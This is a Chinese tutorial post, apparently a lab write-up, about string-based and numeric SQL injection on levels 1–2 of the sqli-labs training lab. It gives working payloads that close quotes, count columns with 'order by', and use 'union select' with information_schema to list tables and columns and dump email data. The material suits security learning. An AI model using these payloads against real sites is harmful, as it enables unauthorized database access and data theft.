SQL注入之字符型、数字型注入原理及注入步骤(sqli-labs-master 1-2关)

本文详细介绍了SQL注入中的字符型和数字型注入原理、方法及步骤。字符型注入依赖于报错信息来构造payload,通过闭合查询语句和使用注释来获取数据。数字型注入则无需考虑单引号,直接利用数字进行注入。通过sqli-labs-master实验,展示了如何找到注入点、爆字段数和获取数据库信息。

字符型注入:

原理:

执行数据库查询,并在回显点展示。
用户可以看到数据库查询出错时的错误语句,就可以观察报错语句分析出查询语句结构,从而构造特殊的payload进行注入,并从回显点中获取想要的信息。
(与报错注入不同在拥有回显点,报错注入没有回显点需要通过错误信息查看结果)

注入方法:

根据报错的sql语句信息,查看sql语句样子,继而构造注入语句
构造单引号‘、双引号“、括号)闭合查询语句,直到报错证明注入点存在

地址栏输入#这类的要用16进制编码(网页传输方便的编码)
如:’#’ %23 注释
'- -'注释 一般用- -+即- - 即- -%20
(空格) %20

注入步骤:

(sqli-labs-master第一关演示)
找到注入点
单引号闭合,发生过报错—注入点存在,且观察报错语句是单引号闭合
在这里插入图片描述作为对比观察一下用双引号,没有任何报错信息
在这里插入图片描述

  • ps:为什么会报错呢:因为查询语句为(可以在sqli-labs-master安装目录下找到php源代码查看)
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
  • 用户正常输入合法的查询数据 即1 2 3的时候语句为
$sql="SELECT * FROM users WHERE id='1' LIMIT 0,1";
  • 这时就会查询数据库并输出我们想要查询的信息

  • 而当我们输入了单引号的时候,语句就会变成

$sql="SELECT * FROM users WHERE id='1'' LIMIT 0,1";
  • 这样就会产生错误,因为单数个的单引号使得查询语句不能闭合
  • 而当成功闭合查询语句的单引号后如果加上注释符,语句就会变成
$sql="SELECT * FROM users WHERE id='1' #' LIMIT 0,1";
  • 注释符后面的无用,可以忽略,因此语句变成
$sql="SELECT * FROM users WHERE id='1' #
  • 而#之前的内容是我们可以输入的,于是就可以构造出
$sql="SELECT * FROM users WHERE id='1' order by 3#
  • 这样的攻击语句 来获得数据库内部的信息,成功攻击
  • 同理:
$sql="SELECT * FROM users WHERE id='' union select 1,2,3#

order by爆字段数
order by 3不报错证明有第三列
order by 3不报错证明有第三列
order by 4的时候报错,证明没有第四列
order by 4的时候报错,证明没有第四列

union select 1,2,3爆回显点
这里回显点为第2,3位
在这里插入图片描述

  • ps:联合查询如果前面得到了结果就不会执行后面的了,所以要id=’ union select ……
  • 让前面查询结果为空

于是:

union select 1,database(),version()%23   # 通过回显点查询需要信息

在这里插入图片描述

  • information_schema库:mysql自带的库,内有所有数据库的所有信息
  • 如:所有的表名tables和字段columns库名schemata
  • 因此可以利用来获取表名和列名
' union select 1,group_concat(table_name),user() from information_schema.tables where table_schema = database() %23  # 查出表名

在这里插入图片描述

  • 获取多个数据只有一个显示位置用group_concat拼接,拼接,隔开,或者limit一条一条查询也行

继续:

' union select 1,group_concat(column_name),user() from information_schema.columns where table_name = ‘emails’ %23

获取列名
在这里插入图片描述

  • where条件是字符串的话要加引号,且注意是英文引号

继续获取到表内内容

' union select 1,2,group_concat(email_id) from emails --+

在这里插入图片描述成功获取到邮箱表内email_id列的内容

  • 同理 获取邮箱表内id列的内容
' union select 1,2,group_concat(id) from emails --+

数字型注入

原理

同字符型注入

步骤

同字符型注入

不同:

sql语句不带’具体详见sql_lab less 1 和less 2 的区别,
因为数字可以不带’所以数字型报错注入的sql语句如:where id = 而不是where id =’’

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";  # 数字

数字型注入不需要注释,也可以注释,因为注释只是为了注释掉我们闭合后剩余的’

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值